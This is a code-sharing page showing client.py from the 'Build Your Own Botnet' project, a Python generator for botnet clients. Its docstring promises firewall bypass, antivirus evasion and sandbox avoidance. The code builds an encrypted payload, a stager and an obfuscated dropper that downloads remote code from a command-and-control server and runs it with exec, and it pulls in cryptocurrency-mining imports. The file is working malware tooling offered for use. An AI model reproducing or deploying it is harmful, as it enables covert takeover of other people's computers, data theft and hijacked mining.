Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/client.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
"""Client Generator (Build Your Own Botnet)
4
5
usage: client.py [-h] [-v] [--name NAME] [--icon ICON] [--pastebin API]
6
[--encrypt] [--obfuscate] [--compress] [--freeze]
7
host port [module [module ...]]
8
9
Generator (Build Your Own Botnet)
10
11
positional arguments:
12
host server IP address
13
port server port number
14
module module(s) to remotely import at run-time
15
16
optional arguments:
17
-h, --help show this help message and exit
18
-v, --version show program's version number and exit
19
--name NAME output file name
20
--icon ICON icon image file name
21
--pastebin API upload & host payload on pastebin
22
--encrypt encrypt payload and embed key in stager
23
--compress zip-compress into a self-executing python script
24
--freeze compile client into a standalone executable for the current host platform
25
--gui generate client controllable via web browser GUI at https://buildyourownbotnet.com
26
27
Generate clients with the following features:
28
29
- Zero Dependencies
30
stager runs with just the python standard library
31
32
- Remote Imports
33
remotely import third-party packages from
34
the server without downloading/installing them
35
36
- In-Memory Execution Guidline
37
clients never write anything to the disk,
38
not even temporary files - zero IO system calls.
39
remote imports allow code/scripts/modules to
40
be dynamically loaded into memory and directly
41
imported into the currently running process
42
43
- Add Your Own Scripts
44
every python script, module, and package in the
45
`remote` directory is directl usable by every
46
client at all times while the server is running
47
48
- Unlimited Modules Without Bloating File Size
49
use remote imports to add unlimited features without
50
adding a single byte to the client's file size
51
52
- Updatable
53
client periodically checks the content available
54
for remote import from the server, and will
55
dynamically update its in-memory resources
56
if anything has been added/removed
57
58
- Platform Independent
59
compatible with PyInstaller and package is authored
60
in Python, a platform agnostic language
61
62
- Bypass Firewall
63
connects to server via outgoing connections
64
(i.e. reverse TCP payloads) which most firewall
65
filters allow by default k
66
67
- Evade Antivirus
68
blocks any spawning process
69
with names of known antivirus products
70
71
- Prevent Analysis
72
main client payload encrypted with a random
73
256-bit key and is only
74
75
- Avoid Detection
76
client will abort execution if a virtual machine
77
or sandbox is detected
78
"""
79
80
# standard library
81
import os
82
import sys
83
import zlib
84
import base64
85
import random
86
import marshal
87
import argparse
88
import itertools
89
import threading
90
import collections
91
if sys.version_info[0] < 3:
92
from urllib2 import urlparse
93
from urllib import pathname2url
94
else:
95
from urllib import parse as urlparse
96
from urllib.request import pathname2url
97
sys.path.append('core')
98
99
# packages
100
import colorama
101
102
# modules
103
from buildyourownbotnet.core import util
104
from buildyourownbotnet.core import security
105
from buildyourownbotnet.core import generators
106
107
# globals
108
colorama.init(autoreset=True)
109
__banner = """
110
111
88 88
112
88 88
113
88 88
114
88,dPPYba, 8b d8 ,adPPYba, 88,dPPYba,
115
88P' "8a `8b d8' a8" "8a 88P' "8a
116
88 d8 `8b d8' 8b d8 88 d8
117
88b, ,a8" `8b,d8' "8a, ,a8" 88b, ,a8"
118
8Y"Ybbd8"' Y88' `"YbbdP"' 8Y"Ybbd8"'
119
d8'
120
d8'
121
"""
122
C2_HOST = util.public_ip()
123
C2_PORT = '1337'
124
ROOT = os.path.abspath(os.path.dirname(__file__))
125
126
127
# main
128
def main(*args, **kwargs):
129
"""
130
Run the generator
131
132
"""
133
#util.display(globals()['__banner'], color=random.choice(list(filter(lambda x: bool(str.isupper(x) and 'BLACK' not in x), dir(colorama.Fore)))), style='normal')
134
135
if not kwargs:
136
parser = argparse.ArgumentParser(
137
prog='client.py',
138
description="Generator (Build Your Own Botnet)"
139
)
140
141
parser.add_argument('modules',
142
metavar='module',
143
action='append',
144
nargs='*',
145
help='module(s) to remotely import at run-time')
146
147
parser.add_argument('--name',
148
action='store',
149
help='output file name')
150
151
parser.add_argument('--icon',
152
action='store',
153
help='icon image file name')
154
155
parser.add_argument('--pastebin',
156
action='store',
157
metavar='API',
158
help='upload the payload to Pastebin (instead of the C2 server hosting it)')
159
160
parser.add_argument('--encrypt',
161
action='store_true',
162
help='encrypt the payload with a random 128-bit key embedded in the payload\'s stager',
163
default=False)
164
165
parser.add_argument('--compress',
166
action='store_true',
167
help='zip-compress into a self-extracting python script',
168
default=False)
169
170
parser.add_argument('--freeze',
171
action='store_true',
172
help='compile client into a standalone executable for the current host platform',
173
default=False)
174
175
parser.add_argument('--gui',
176
action='store_true',
177
help='generate client controllable via web browser GUI at https://buildyourownbotnet.com',
178
default=False)
179
180
parser.add_argument('--owner',
181
action='store',
182
help='only allow the authenticated owner to interact with this client',
183
default=False)
184
185
parser.add_argument('--os',
186
action='store',
187
help='target operating system',
188
default='nix')
189
190
parser.add_argument('--architecture',
191
action='store',
192
help='target architecture',
193
default='')
194
195
parser.add_argument(
196
'-v', '--version',
197
action='version',
198
version='0.5',
199
)
200
201
options = parser.parse_args()
202
203
else:
204
205
options = collections.namedtuple('Options', ['host','port','modules','name','icon','pastebin','encrypt','compress','freeze','gui','owner','operating_system','architecture'])(*args, **kwargs)
206
207
# hacky solution to make existing client generator script work with package structure for web app
208
os.chdir(ROOT)
209
210
key = base64.b64encode(os.urandom(16))
211
var = generators.variable(3)
212
modules = _modules(options, var=var, key=key)
213
imports = _imports(options, var=var, key=key, modules=modules)
214
hidden = _hidden (options, var=var, key=key, modules=modules, imports=imports)
215
payload = _payload(options, var=var, key=key, modules=modules, imports=imports, hidden=hidden)
216
stager = _stager (options, var=var, key=key, modules=modules, imports=imports, hidden=hidden, url=payload)
217
dropper = _dropper(options, var=var, key=key, modules=modules, imports=imports, hidden=hidden, url=stager)
218
219
os.chdir('..')
220
221
return dropper
222
223
224
def _update(input, output, task=None):
225
diff = round(float(100.0 * float(float(len(output))/float(len(input)) - 1.0)))
226
227
def _modules(options, **kwargs):
228
global __load__
229
__load__ = threading.Event()
230
__spin__ = _spinner(__load__)
231
232
modules = ['modules/util.py','core/security.py','core/payloads.py']
233
234
if len(options.modules):
235
for m in options.modules:
236
if isinstance(m, str):
237
base = os.path.splitext(os.path.basename(m))[0]
238
if not os.path.exists(m):
239
_m = os.path.join(os.path.abspath('modules'), os.path.basename(m))
240
if _m not in [os.path.splitext(_)[0] for _ in os.listdir('modules')]:
241
util.display("[-]", color='red', style='normal')
242
util.display("can't add module: '{}' (does not exist)".format(m), color='reset', style='normal')
243
continue
244
module = os.path.join(os.path.abspath('modules'), m if '.py' in os.path.splitext(m)[1] else '.'.join([os.path.splitext(m)[0], '.py']))
245
modules.append(module)
246
__load__.set()
247
return modules
248
249
250
def _imports(options, **kwargs):
251
global __load__
252
assert 'modules' in kwargs, "missing keyword argument 'modules'"
253
globals()['__load__'] = threading.Event()
254
globals()['__spin__'] = _spinner(__load__)
255
256
imports = set()
257
258
for module in kwargs['modules']:
259
for line in open(module, 'r').read().splitlines():
260
if len(line.split()):
261
if line.split()[0] == 'import':
262
for x in ['core'] + [os.path.splitext(i)[0] for i in os.listdir('core')] + ['core.%s' % s for s in [os.path.splitext(i)[0] for i in os.listdir('core')]]:
263
if x in line:
264
break
265
else:
266
imports.add(line.strip())
267
268
imports = list(imports)
269
for bad_import in ['ctypes','colorama']:
270
if bad_import in imports:
271
imports.remove(bad_import)
272
if sys.platform != 'win32':
273
for item in imports:
274
if 'win32' in item or '_winreg' in item:
275
imports.remove(item)
276
return imports
277
278
279
def _hidden(options, **kwargs):
280
assert 'imports' in kwargs, "missing keyword argument 'imports'"
281
assert 'modules' in kwargs, "missing keyword argument 'modules'"
282
283
hidden = set()
284
285
for line in kwargs['imports']:
286
if len(line.split()) > 1:
287
for i in str().join(line.split()[1:]).split(';')[0].split(','):
288
i = line.split()[1] if i == '*' else i
289
hidden.add(i)
290
elif len(line.split()) > 3:
291
for i in str().join(line.split()[3:]).split(';')[0].split(','):
292
i = line.split()[1] if i == '*' else i
293
hidden.add(i)
294
295
for bad_import in ['ctypes','colorama']:
296
if bad_import in hidden:
297
hidden.remove(bad_import)
298
299
globals()['__load__'].set()
300
return list(hidden)
301
302
303
def _payload(options, **kwargs):
304
assert 'var' in kwargs, "missing keyword argument 'var'"
305
assert 'modules' in kwargs, "missing keyword argument 'modules'"
306
assert 'imports' in kwargs, "missing keyword argument 'imports'"
307
308
loader = open('core/loader.py','r').read()#, generators.loader(host=C2_HOST, port=int(C2_PORT)+2, packages=list(kwargs['hidden']))))
309
310
test_imports = '\n'.join(['import ' + i for i in list(kwargs['hidden']) if i not in ['StringIO','_winreg','pycryptonight','pyrx','ctypes']])
311
potential_imports = '''
312
try:
313
import pycryptonight
314
import pyrx
315
except ImportError: pass
316
'''
317
318
modules = '\n'.join(([open(module,'r').read().partition('# main')[2] for module in kwargs['modules']] + [generators.main('Payload', **{"host": C2_HOST, "port": C2_PORT, "pastebin": options.pastebin if options.pastebin else str(), "gui": "1" if options.gui else str(), "owner": options.owner}) + '_payload.run()']))
319
payload = '\n'.join((loader, test_imports, potential_imports, modules))
320
321
if not os.path.isdir('modules/payloads'):
322
try:
323
os.mkdir('modules/payloads')
324
except OSError:
325
util.log("Permission denied: unabled to make directory './modules/payloads/'")
326
327
if options.compress:
328
#util.display("\tCompressing payload... ", color='reset', style='normal', end=' ')
329
__load__ = threading.Event()
330
__spin__ = _spinner(__load__)
331
output = generators.compress(payload)
332
__load__.set()
333
_update(payload, output, task='Compression')
334
payload = output
335
336
if options.encrypt:
337
assert 'key' in kwargs, "missing keyword argument 'key' required for option 'encrypt'"
338
__load__ = threading.Event()
339
__spin__ = _spinner(__load__)
340
output = security.encrypt_xor(payload, base64.b64decode(kwargs['key']))
341
__load__.set()
342
_update(payload, output, task='Encryption')
343
payload = output
344
345
#util.display("\tUploading payload... ", color='reset', style='normal', end=' ')
346
347
__load__ = threading.Event()
348
__spin__ = _spinner(__load__)
349
350
if options.pastebin:
351
assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'"
352
url = util.pastebin(payload, options.pastebin)
353
else:
354
dirs = ['modules/payloads','byob/modules/payloads','byob/byob/modules/payloads']
355
dirname = '.'
356
for d in dirs:
357
if os.path.isdir(d):
358
dirname = d
359
360
path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py' )
361
362
with open(path, 'w') as fp:
363
fp.write(payload)
364
365
s = 'http://{}:{}/{}'.format(C2_HOST, int(C2_PORT) + 1, pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'), '')))
366
s = urlparse.urlsplit(s)
367
url = urlparse.urlunsplit((s.scheme, s.netloc, os.path.normpath(s.path), s.query, s.fragment)).replace('\\','/')
368
369
__load__.set()
370
#util.display("(hosting payload at: {})".format(url), color='reset', style='dim')
371
return url
372
373
374
def _stager(options, **kwargs):
375
assert 'url' in kwargs, "missing keyword argument 'url'"
376
assert 'key' in kwargs, "missing keyword argument 'key'"
377
assert 'var' in kwargs, "missing keyword argument 'var'"
378
379
if options.encrypt:
380
stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url'], key=kwargs['key'])
381
else:
382
stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url'])
383
384
if not os.path.isdir('modules/stagers'):
385
try:
386
os.mkdir('modules/stagers')
387
except OSError:
388
util.log("Permission denied: unable to make directory './modules/stagers/'")
389
390
if options.compress:
391
#util.display("\tCompressing stager... ", color='reset', style='normal', end=' ')
392
__load__ = threading.Event()
393
__spin__ = _spinner(__load__)
394
output = generators.compress(stager)
395
__load__.set()
396
_update(stager, output, task='Compression')
397
stager = output
398
399
__load__ = threading.Event()
400
__spin__ = _spinner(__load__)
401
402
if options.pastebin:
403
assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'"
404
url = util.pastebin(stager, options.pastebin)
405
else:
406
dirs = ['modules/stagers','byob/modules/stagers','byob/byob/modules/stagers']
407
dirname = '.'
408
for d in dirs:
409
if os.path.isdir(d):
410
dirname = d
411
412
path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py' )
413
414
with open(path, 'w') as fp:
415
fp.write(stager)
416
417
s = 'http://{}:{}/{}'.format(C2_HOST, int(C2_PORT) + 1, pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'), '')))
418
s = urlparse.urlsplit(s)
419
url = urlparse.urlunsplit((s.scheme, s.netloc, os.path.normpath(s.path), s.query, s.fragment)).replace('\\','/')
420
421
__load__.set()
422
return url
423
424
425
def _dropper(options, **kwargs):
426
427
assert 'url' in kwargs, "missing keyword argument 'url'"
428
assert 'var' in kwargs, "missing keyword argument 'var'"
429
assert 'hidden' in kwargs, "missing keyword argument 'hidden'"
430
431
output_dir = os.path.join('output', options.owner, 'src')
432
433
if not os.path.isdir(output_dir):
434
try:
435
os.makedirs(output_dir)
436
except OSError:
437
util.log("Permission denied: unable to make directory './output'")
438
439
440
# add os/arch info to filename if freezing
441
if options.freeze:
442
name = 'byob_{operating_system}_{architecture}_{var}.py'.format(operating_system=options.operating_system, architecture=options.architecture, var=kwargs['var']) if not options.name else options.name
443
else:
444
name = 'byob_{var}.py'.format(var=kwargs['var'])
445
446
if not name.endswith('.py'):
447
name += '.py'
448
449
name = os.path.join(output_dir, name)
450
451
dropper = """import sys,zlib,base64,marshal,json,urllib
452
if sys.version_info[0] > 2:
453
from urllib import request
454
urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen
455
exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format(repr(base64.b64encode(zlib.compress(marshal.dumps("urlopen({}).read()".format(repr(kwargs['url'])),2)))))
456
457
with open(name, 'w') as fp:
458
fp.write(dropper)
459
460
util.display('({:,} bytes written to {})'.format(len(dropper), name), style='dim', color='reset')
461
462
# cross-compile executable for the specified os/arch using pyinstaller docker containers
463
if options.freeze:
464
util.display('\tCompiling executable...\n', color='reset', style='normal', end=' ')
465
name = generators.freeze(name, icon=options.icon, hidden=kwargs['hidden'], owner=options.owner, operating_system=options.operating_system, architecture=options.architecture)
466
util.display('({:,} bytes saved to file: {})\n'.format(len(open(name, 'rb').read()), name))
467
return name
468
469
470
@util.threaded
471
def _spinner(flag):
472
spinner = itertools.cycle(['-', '/', '|', '\\'])
473
while not flag.is_set():
474
try:
475
sys.stdout.write(next(spinner))
476
sys.stdout.flush()
477
flag.wait(0.2)
478
sys.stdout.write('\b')
479
sys.stdout.flush()
480
except:
481
break
482
483
484
if __name__ == '__main__':
485
main()
486
487